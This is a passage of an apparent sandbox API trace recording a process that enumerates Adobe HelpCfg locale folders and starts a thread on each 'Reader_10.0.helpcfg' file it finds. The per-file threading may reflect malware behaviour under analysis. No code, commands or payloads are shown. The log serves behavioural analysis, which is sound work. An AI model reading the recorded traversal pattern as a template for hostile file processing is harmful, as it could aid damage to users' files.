Files\\Adobe\\HelpCfg\\fr_FR\\*", lpFindFileData=0x1ce58030 | out: lpFindFileData=0x1ce58030*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7d580500, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x7d580500, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x7d580500, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x1b859150 [0135.850] wcscmp (_String1=".", _String2=".") returned 0 [0135.850] FindNextFileW (in: hFindFile=0x1b859150, lpFindFileData=0x1ce58030 | out: lpFindFileData=0x1ce58030*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7d580500, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x7d580500, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x7d580500, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0135.850] wcscmp (_String1="..", _String2=".") returned 1 [0135.850] wcscmp (_String1="..", _String2="..") returned 0 [0135.850] FindNextFileW (in: hFindFile=0x1b859150, lpFindFileData=0x1ce58030 | out: lpFindFileData=0x1ce58030*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x950fa000, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7d580500, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x950fa000, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x15d, dwReserved0=0x0, dwReserved1=0x0, cFileName="Reader_10.0.helpcfg", cAlternateFileName="READER~1.HEL")) returned 1 [0135.850] wcscmp (_String1="Reader_10.0.helpcfg", _String2=".") returned 1 [0135.850] wcscmp (_String1="Reader_10.0.helpcfg", _String2="..") returned 1 [0135.850] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x98) returned 0x205057d0 [0135.851] wcscpy (in: _Dest=0x205057d0, _Source="C:\\Program Files (x86)\\Common Files\\Adobe\\HelpCfg\\fr_FR" | out: _Dest="C:\\Program Files (x86)\\Common Files\\Adobe\\HelpCfg\\fr_FR") returned="C:\\Program Files (x86)\\Common Files\\Adobe\\HelpCfg\\fr_FR" [0135.851] wcscat (in: _Dest=0x205057d0, _Source="\\" | out: _Dest="C:\\Program Files (x86)\\Common Files\\Adobe\\HelpCfg\\fr_FR\\") returned="C:\\Program Files (x86)\\Common Files\\Adobe\\HelpCfg\\fr_FR\\" [0135.851] wcscat (in: _Dest=0x205057d0, _Source="Reader_10.0.helpcfg" | out: _Dest="C:\\Program Files (x86)\\Common Files\\Adobe\\HelpCfg\\fr_FR\\Reader_10.0.helpcfg") returned="C:\\Program Files (x86)\\Common Files\\Adobe\\HelpCfg\\fr_FR\\Reader_10.0.helpcfg" [0150.996] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2b4a8a0, lpParameter=0x205057d0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x1ce4 [0150.997] FindNextFileW (in: hFindFile=0x1b859150, lpFindFileData=0x1ce58030 | out: lpFindFileData=0x1ce58030*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x950fa000, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7d580500, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x950fa000, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x15d, dwReserved0=0x0, dwReserved1=0x0, cFileName="Reader_10.0.helpcfg", cAlternateFileName="READER~1.HEL")) returned 0 [0150.997] FindClose (in: hFindFile=0x1b859150 | out: hFindFile=0x1b859150) returned 1 [0150.998] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ce58030) returned 1 [0150.998] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b867c40) returned 1 [0150.998] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b869240) returned 1 Thread: id = 1954 os_tid = 0x1158 [0135.852] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x74) returned 0x1b867b40 [0135.852] wcscpy (in: _Dest=0x1b867b40, _Source="C:\\Program Files (x86)\\Common Files\\Adobe\\HelpCfg\\hr_HR" | out: _Dest="C:\\Program Files (x86)\\Common Files\\Adobe\\HelpCfg\\hr_HR") returned="C:\\Program Files (x86)\\Common Files\\Adobe\\HelpCfg\\hr_HR" [0135.852] wcscat (in: _Dest=0x1b867b40, _Source="\\" | out: _Dest="C:\\Program Files (x86)\\Common Files\\Adobe\\HelpCfg\\hr_HR\\") returned="C:\\Program Files (x86)\\Common Files\\Adobe\\HelpCfg\\hr_HR\\" [0135.853] wcscat (in: _Dest=0x1b867b40, _Source="*" | out: _Dest="C:\\Program Files (x86)\\Common Files\\Adobe\\HelpCfg\\hr_HR\\*") returned="C:\\Program Files (x86)\\Common Files\\Adobe\\HelpCfg\\hr_HR\\*" [0135.853] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x250) returned 0x1ce58ed0 [0135.853] FindFirstFileW (in: lpFileName="C:\\Program Files (x86)\\Common Files\\Adobe\\HelpCfg\\hr_HR\\*", lpFindFileData=0x1ce58ed0 | out: lpFindFileData=0x1ce58ed0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7d5f2920, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x7d5f2920, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x7d5f2920, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x1b8586d0 [0135.853] wcscmp (_String1=".", _String2=".") returned 0 [0135.853] FindNextFileW (in: hFindFile=0x1b8586d0, lpFindFileData=0x1ce58ed0 | out: lpFindFileData=0x1ce58ed0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7d5f2920, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x7d5f2920, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x7d5f2920, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0135.853] wcscmp (_String1="..", _String2=".") returned 1 [0135.853] wcscmp (_String1="..", _String2="..") returned 0 [0135.853] FindNextFileW (in: hFindFile=0x1b8586d0, lpFindFileData=0x1ce58ed0 | out: lpFindFileData=0x1ce58ed0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9b058100, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7d5f2920, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x9b058100, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x15d, dwReserved0=0x0, dwReserved1=0x0, cFileName="Reader_10.0.helpcfg", cAlternateFileName="READER~1.HEL")) returned 1 [0135.853] wcscmp (_String1="Reader_10.0.helpcfg", _String2=".") returned 1 [0135.853] wcscmp (_String1="Reader_10.0.helpcfg", _String2="..") returned 1 [0135.853] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x98) returned 0x20505870 [0135.854] wcscpy (in: _Dest=0x20505870, _Source="C:\\Program Files (x86)\\Common Files\\Adobe\\HelpCfg\\hr_HR" | out: _Dest="C:\\Program Files (x86)\\Common Files\\Adobe\\HelpCfg\\hr_HR") returned="C:\\Program Files (x86)\\Common Files\\Adobe\\HelpCfg\\hr_HR" [0135.854] wcscat (in: _Dest=0x20505870, _Source="\\" | out: _Dest="C:\\Program Files (x86)\\Common Files\\Adobe\\HelpCfg\\hr_HR\\") returned="C:\\Program Files (x86)\\Common Files\\Adobe\\HelpCfg\\hr_HR\\" [0135.854] wcscat (in: _Dest=0x20505870, _Source="Reader_10.0.helpcfg" | out: _Dest="C:\\Program Files (x86)\\Common Files\\Adobe\\HelpCfg\\hr_HR\\Reader_10.0.helpcfg") returned="C:\\Program Files (x86)\\Common Files\\Adobe\\HelpCfg\\hr_HR\\Reader_10.0.helpcfg" [0150.999] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2b4a8a0, lpParameter=0x20505870, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x1cec [0151.000] FindNextFileW (in: hFindFile=0x1b8586d0, lpFindFileData=0x1ce58ed0 | out: lpFindFileData=0x1ce58ed0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9b058100, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7d5f2920, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x9b058100, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x15d, dwReserved0=0x0, dwReserved1=0x0, cFileName="Reader_10.0.helpcfg", cAlternateFileName="READER~1.HEL")) returned 0 [0151.000] FindClose (in: hFindFile=0x1b8586d0 | out: hFindFile=0x1b8586d0) returned 1 [0151.000] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ce58ed0) returned 1 [0151.000] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b867b40) returned 1 [0151.000] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b868e40) returned 1 Thread: id = 1955 os_tid = 0x115c [0135.855] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x74) returned 0x1b867a40 [0135.855] wcscpy (in: _Dest=0x1b867a40, _Source="C:\\Program Files (x86)\\Common Files\\Adobe\\HelpCfg\\hu_HU" | out: _Dest="C:\\Program Files (x86)\\Common Files\\Adobe\\HelpCfg\\hu_HU") returned="C:\\Program Files (x86)\\Common Files\\Adobe\\HelpCfg\\hu_HU" [0135.855] wcscat (in: _Dest=0x1b867a40, _Source="\\" | out: _Dest="C:\\Program Files (x86)\\Common Files\\Adobe\\HelpCfg\\hu_HU\\") returned="C:\\Program Files (x86)\\Common Files\\Adobe\\HelpCfg\\hu_HU\\" [0135.855] wcscat (in: _Dest=0x1b867a40, _Source="*" | out: _Dest="C:\\Program Files (x86)\\Common Files\\Adobe\\HelpCfg\\hu_HU\\*") returned="C:\\Program Files (x86)\\Common Files\\Adobe\\HelpCfg\\hu_HU\\*" [0135.855] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x250) returned 0x1ce57190 [0135.856] FindFirstFileW (in: lpFileName="C:\\Program Files (x86)\\Common Files\\Adobe\\HelpCfg\\hu_HU\\*", lpFindFileData=0x1ce57190 | out: lpFindFileData=0x1ce57190*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7d5f2920, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x7d5f2920, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x7d5f2920, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x1b858730 [0135.857] wcscmp (_String1=".", _String2=".") returned 0 [0135.857] FindNextFileW (in: hFindFile=0x1b858730, lpFindFileData=0x1ce57190 | out: lpFindFileData=0x1ce57190*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7d5f2920, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x7d5f2920, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x7d5f2920, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0135.857] wcscmp (_String1="..", _String2=".") returned 1 [0135.857] wcscmp (_String1="..", _String2="..") returned 0 [0135.857] FindNextFileW (in: hFindFile=0x1b858730, lpFindFileData=0x1ce57190 | out: lpFindFileData=0x1ce57190*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9b058100, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7d5f2920, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x9b058100, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x15d, dwReserved0=0x0, dwReserved1=0x0, cFileName="Reader_10.0.helpcfg", cAlternateFileName="READER~1.HEL")) returned 1 [0135.857] wcscmp (_String1="Reader_10.0.helpcfg", _String2=".") returned 1 [0135.857] wcscmp (_String1="Reader_10.0.helpcfg", _String2="..") returned 1 [0135.857] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x98) returned 0x20505910 [0135.857] wcscpy (in: _Dest=0x20505910, _Source="C:\\Program Files (x86)\\Common Files\\Adobe\\HelpCfg\\hu_HU" | out: _Dest="C:\\Program Files (x86)\\Common Files\\Adobe\\HelpCfg\\hu_HU") returned="C:\\Program Files (x86)\\Common Files\\Adobe\\HelpCfg\\hu_HU" [0135.857] wcscat (in: _Dest=0x20505910, _Source="\\" | out: _Dest="C:\\Program Files (x86)\\Common Files\\Adobe\\HelpCfg\\hu_HU\\") returned="C:\\Program Files (x86)\\Common Files\\Adobe\\HelpCfg\\hu_HU\\" [0135.858] wcscat (in: _Dest=0x20505910, _Source="Reader_10.0.helpcfg" | out: _Dest="C:\\Program Files (x86)\\Common Files\\Adobe\\HelpCfg\\hu_HU\\Reader_10.0.helpcfg") returned="C:\\Program Files (x86)\\Common Files\\Adobe\\HelpCfg\\hu_HU\\Reader_10.0.helpcfg" [0151.001] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2b4a8a0, lpParameter=0x20505910, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x1cf0 [0151.002] FindNextFileW (in: hFindFile=0x1b858730, lpFindFileData=0x1ce57190 | out: lpFindFileData=0x1ce57190*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9b058100, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7d5f2920, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x9b058100, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x15d, dwReserved0=0x0, dwReserved1=0x0, cFileName="Reader_10.0.helpcfg", cAlternateFileName="READER~1.HEL")) returned 0 [0151.002] FindClose (in: hFindFile=0x1b858730 | out: hFindFile=0x1b858730) returned 1 [0151.002] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ce57190) returned 1 [0151.003] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b867a40) returned 1 [0151.003] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b868f40) returned 1 Thread: id = 1956 os_tid = 0x1160 [0135.869] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x74) returned 0x1b8668c0 [0135.870] wcscpy (in: _Dest=0x1b8668c0, _Source="C:\\Program Files (x86)\\Common Files\\Adobe\\HelpCfg\\it_IT" | out: _Dest="C:\\Program Files (x86)\\Common Files\\Adobe\\HelpCfg\\it_IT") returned="C:\\Program Files (x86)\\Common Files\\Adobe\\HelpCfg\\it_IT" [0135.870] wcscat (in: _Dest=0x1b8668c0, _Source="\\" | out: _Dest="C:\\Program Files (x86)\\Common Files\\Adobe\\HelpCfg\\it_IT\\") returned="C:\\Program Files (x86)\\Common Files\\Adobe\\HelpCfg\\it_IT\\" [0135.870] wcscat (in: _Dest=0x1b8668c0, _Source="*" | out: _Dest="C:\\Program Files (x86)\\Common Files\\Adobe\\HelpCfg\\it_IT\\*") returned="C:\\Program Files (x86)\\Common Files\\Adobe\\HelpCfg\\it_IT\\*" [0135.870] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x250) returned 0x1ce55930 [0135.871] FindFirstFileW (in: lpFileName="C:\\Program Files (x86)\\Common Files\\Adobe\\HelpCfg\\it_IT\\*", lpFindFileData=0x1ce55930 | out: lpFindFileData=0x1ce55930*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7d5a6660, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x7d5a6660, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x7d5a6660, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x1b858f10 [0135.915] wcscmp (_String1=".", _String2=".") returned 0 [0135.915] FindNextFileW (in: hFindFile=0x1b858f10, lpFindFileData=0x1ce55930 | out: lpFindFileData=0x1ce55930*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7d5a6660, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x7d5a6660, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x7d5a6660, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0135.915] wcscmp (_String1="..", _String2=".") returned 1 [0135.915] wcscmp (_String1="..", _String2="..") returned 0 [0135.915] FindNextFileW (in: hFindFile=0x1b858f10, lpFindFileData=0x1ce55930 | out: lpFindFileData=0x1ce55930*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9640cd00, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7d5a6660, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x9640cd00, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x15d, dwReserved0=0x0, dwReserved1=0x0, cFileName="Reader_10.0.helpcfg", cAlternateFileName="READER~1.HEL")) returned 1 [0135.915] wcscmp (_String1="Reader_10.0.helpcfg", _String2=".") returned 1 [0135.915] wcscmp (_String1="Reader_10.0.helpcfg", _String2="..") returned 1 [0135.915] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x98) returned 0x205059b0 [0135.916] wcscpy (in: _Dest=0x205059b0, _Source="C:\\Program Files (x86)\\Common Files\\Adobe\\HelpCfg\\it_IT" | out: _Dest="C:\\Program Files (x86)\\Common Files\\Adobe\\HelpCfg\\it_IT") returned="C:\\Program Files (x86)\\Common Files\\Adobe\\HelpCfg\\it_IT" [0135.916] wcscat (in: _Dest=0x205059b0, _Source="\\" | out: _Dest="C:\\Program Files (x86)\\Common Files\\Adobe\\HelpCfg\\it_IT\\") returned="C:\\Program Files (x86)\\Common Files\\Adobe\\HelpCfg\\it_IT\\" [0135.916] wcscat (in: _Dest=0x205059b0, _Source="Reader_10.0.helpcfg" | out: _Dest="C:\\Program Files (x86)\\Common Files\\Adobe\\HelpCfg\\it_IT\\Reader_10.0.helpcfg") returned="C:\\Program Files (x86)\\Common Files\\Adobe\\HelpCfg\\it_IT\\Reader_10.0.helpcfg" [0151.004] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2b4a8a0, lpParameter=0x205059b0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x1cf4 [0151.004] FindNextFileW (in: hFindFile=0x1b858f10, lpFindFileData=0x1ce55930 | out: lpFindFileData=0x1ce55930*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9640cd00, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7d5a6660, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x9640cd00, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x15d, dwReserved0=0x0, dwReserved1=0x0, cFileName="Reader_10.0.helpcfg", cAlternateFileName="READER~1.HEL")) returned 0 [0151.004] FindClose (in: hFindFile=0x1b858f10 | out: hFindFile=0x1b858f10) returned 1 [0151.005] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ce55930) returned 1 [0151.005] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b8668c0) returned 1 [0151.005] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b869bc0) returned 1 Thread: id = 1957 os_tid = 0x1164 [0135.944] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x74) returned 0x1b8663c0 [0135.944] wcscpy (in: _Dest=0x1b8663c0, _Source="C:\\Program Files (x86)\\Common Files\\Adobe\\HelpCfg\\ja_JP" | out: _Dest="C:\\Program Files (x86)\\Common Files\\Adobe\\HelpCfg\\ja_JP") returned="C:\\Program Files (x86)\\Common Files\\Adobe\\HelpCfg\\ja_JP" [0135.944] wcscat (in: _Dest=0x1b8663c0, _Source="\\" | out: _Dest="C:\\Program Files (x86)\\Common Files\\Adobe\\HelpCfg\\ja_JP\\") returned="C:\\Program Files (x86)\\Common Files\\Adobe\\HelpCfg\\ja_JP\\" [0135.944] wcscat (in: _Dest=0x1b8663c0, _Source="*" | out: _Dest="C:\\Program Files (x86)\\Common Files\\Adobe\\HelpCfg\\ja_JP\\*") returned="C:\\Program Files (x86)\\Common Files\\Adobe\\HelpCfg\\ja_JP\\*" [0135.944] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x250) returned 0x1ce57670 [0135.944] FindFirstFileW (in: lpFileName="C:\\Program Files (x86)\\Common Files\\Adobe\\HelpCfg\\ja_JP\\*", lpFindFileData=0x1ce57670 | out: lpFindFileData=0x1ce57670*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7d5a6660, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x7d5a6660, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x7d5a6660, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x1b858850 [0135.945] wcscmp (_String1=".", _String2=".") returned 0 [0135.945] FindNextFileW (in: hFindFile=0x1b858850, lpFindFileData=0x1ce57670 | out: lpFindFileData=0x1ce57670*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7d5a6660, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x7d5a6660, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x7d5a6660, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0135.945] wcscmp (_String1="..", _String2=".") returned 1 [0135.945] wcscmp (_String1="..", _String2="..") returned 0 [0135.945] FindNextFileW (in: hFindFile=0x1b858850, lpFindFileData=0x1ce57670 | out: lpFindFileData=0x1ce57670*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9640cd00, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7d5a6660, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x9640cd00, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x15d, dwReserved0=0x0, dwReserved1=0x0, cFileName="Reader_10.0.helpcfg", cAlternateFileName="READER~1.HEL")) returned 1 [0135.945] wcscmp (_String1="Reader_10.0.helpcfg", _String2=".") returned 1 [0135.945] wcscmp (_String1="Reader_10.0.helpcfg", _String2="..") returned 1 [0135.945] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x98) returned 0x20505a50 [0135.945] wcscpy (in: _Dest=0x20505a50, _Source="C:\\Program Files (x86)\\Common Files\\Adobe\\HelpCfg\\ja_JP" | out: _Dest="C:\\Program Files (x86)\\Common Files\\Adobe\\HelpCfg\\ja_JP") returned="C:\\Program Files (x86)\\Common Files\\Adobe\\HelpCfg\\ja_JP" [0135.946] wcscat (in: _Dest=0x20505a50, _Source="\\" | out: _Dest="C:\\Program Files (x86)\\Common Files\\Adobe\\HelpCfg\\ja_JP\\") returned="C:\\Program Files (x86)\\Common Files\\Adobe\\HelpCfg\\ja_JP\\" [0135.946] wcscat (in: _Dest=0x20505a50, _Source="Reader_10.0.helpcfg" | out: _Dest="C:\\Program Files (x86)\\Common Files\\Adobe\\HelpCfg\\ja_JP\\Reader_10.0.helpcfg") returned="C:\\Program Files (x86)\\Common Files\\Adobe\\HelpCfg\\ja_JP\\Reader_10.0.helpcfg" [0151.006] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2b4a8a0, lpParameter=0x20505a50, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x1cf8 [0151.007] FindNextFileW (in: hFindFile=0x1b858850, lpFindFileData=0x1ce57670 | out: lpFindFileData=0x1ce57670*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9640cd00, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7d5a6660, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x9640cd00, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x15d, dwReserved0=0x0, dwReserved1=0x0, cFileName="Reader_10.0.helpcfg", cAlternateFileName="READER~1.HEL")) returned 0 [0151.007] FindClose (in: hFindFile=0x1b858850 | out: hFindFile=0x1b858850) returned 1 [0151.007] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ce57670) returned 1 [0151.007] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b8663c0) returned 1 [0151.008] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b869740) returned 1 Thread: id = 1958 os_tid = 0x1168 [0135.964] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x74) returned 0x420600b0 [0135.964] wcscpy (in: _Dest=0x420600b0, _Source="C:\\Program Files (x86)\\Common Files\\Adobe\\HelpCfg\\ko_KR" | out: _Dest="C:\\Program Files (x86)\\Common Files\\Adobe\\HelpCfg\\ko_KR") returned="C:\\Program Files (x86)\\Common Files\\Adobe\\HelpCfg\\ko_KR" [0135.964] wcscat (in: _Dest=0x420600b0, _Source="\\" | out: _Dest="C:\\Program Files (x86)\\Common Files\\Adobe\\HelpCfg\\ko_KR\\") returned="C:\\Program Files (x86)\\Common Files\\Adobe\\HelpCfg\\ko_KR\\" [0135.964] wcscat (in: _Dest=0x420600b0, _Source="*" | out: _Dest="C:\\Program Files (x86)\\Common Files\\Adobe\\HelpCfg\\ko_KR\\*") returned="C:\\Program Files (x86)\\Common Files\\Adobe\\HelpCfg\\ko_KR\\*" [0135.964] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x250) returned 0x1ce582a0 [0135.965] FindFirstFileW (in: lpFileName="C:\\Program Files (x86)\\Common Files\\Adobe\\HelpCfg\\ko_KR\\*", lpFindFileData=0x1ce582a0 | out: lpFindFileData=0x1ce582a0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7d5a6660, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x7d5a6660, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x7d5a6660, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x1ced5860 [0135.966] wcscmp (_String1=".", _String2=".") returned 0 [0135.966] FindNextFileW (in: hFindFile=0x1ced5860, lpFindFileData=0x1ce582a0 | out: lpFindFileData=0x1ce582a0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7d5a6660, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x7d5a6660, 